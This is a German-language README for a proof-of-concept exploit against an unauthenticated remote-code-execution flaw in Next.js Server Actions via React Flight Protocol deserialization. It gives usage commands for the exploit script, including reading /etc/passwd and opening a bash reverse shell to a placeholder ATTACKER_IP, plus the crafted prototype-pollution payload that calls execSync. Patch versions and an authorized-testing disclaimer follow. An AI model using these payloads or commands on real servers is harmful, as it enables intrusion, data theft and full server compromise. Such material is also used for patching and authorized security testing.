Proof-of-Concept-Exploit für kritische, nicht authentifizierte RCE in Next.js Server Actions über die Deserialisierung des React Flight Protocol, die die Ausführung beliebiger Befehle auf verwundbaren Servern ermöglicht.
Kritische Schwachstelle in Next.js Server Actions, die eine nicht authentifizierte Remote Code Execution über die Deserialisierung des React Flight Protocol ermöglicht
Dieses Repository enthält einen Proof of Concept (PoC) für die kritische RCE-Schwachstelle, die Next.js-Anwendungen betrifft, die Server Actions (React Server Functions) verwenden.
| Detail | Info |
|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Schweregrad | Kritisch (CVSS 10.0) |
| Betroffenes React | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Betroffenes Next.js | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| Nicht betroffen | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| Behoben in Next.js | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| Behoben in React | 19.0.1, 19.1.2, 19.2.1 |
| Typ | Remote Code Execution (RCE) |
| Authentifizierung erforderlich | Keine |
Die Schwachstelle liegt darin, wie das React Flight Protocol Chunks während der Verarbeitung von Server Actions deserialisiert. Ein Angreifer kann über manipulierte Formulardaten Prototype Pollution ausnutzen, um:
Function-Konstruktor über die Traversierung der Prototyp-Kette zuzugreifen (__proto__)Dies geschieht vor jeder Validierung der Server Action, wodurch sie auf jeder Next.js-App mit aktivierten Server Actions ausnutzbar ist.
Jede Next.js-Anwendung ist verwundbar, wenn:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
Die Befehlsausgabe erscheint im Feld digest.
Der Exploit nutzt den Chunk-Auflösungsmechanismus des React Flight Protocol:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Angriffskette:
$1:__proto__:thenFunction-Konstruktor über $1:constructor:constructor_prefixSofort aktualisieren:
npm install next@latest
# or
pnpm update next
Behobene Versionen: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Hinweis: Next.js 14.x stable und 13.x sind NICHT verwundbar.
⚠️ Dieser PoC dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.
Unbefugter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch.
Basiert auf der ursprünglichen Forschung von @msanft. Die volle Anerkennung für die Entdeckung der Schwachstelle und den ursprünglichen PoC gebührt ihnen.
Next.js RCE, Next.js-Schwachstelle, CVE-2025-55182, CVE-2025-66478, React2Shell, React-Server-Components-Exploit, Next.js Server Actions RCE, Prototype Pollution Next.js, React-Flight-Protocol-Schwachstelle, Next.js-Sicherheit, Next.js Remote Code Execution, Next.js Exploit PoC, Server-Actions-Schwachstelle, React RSC RCE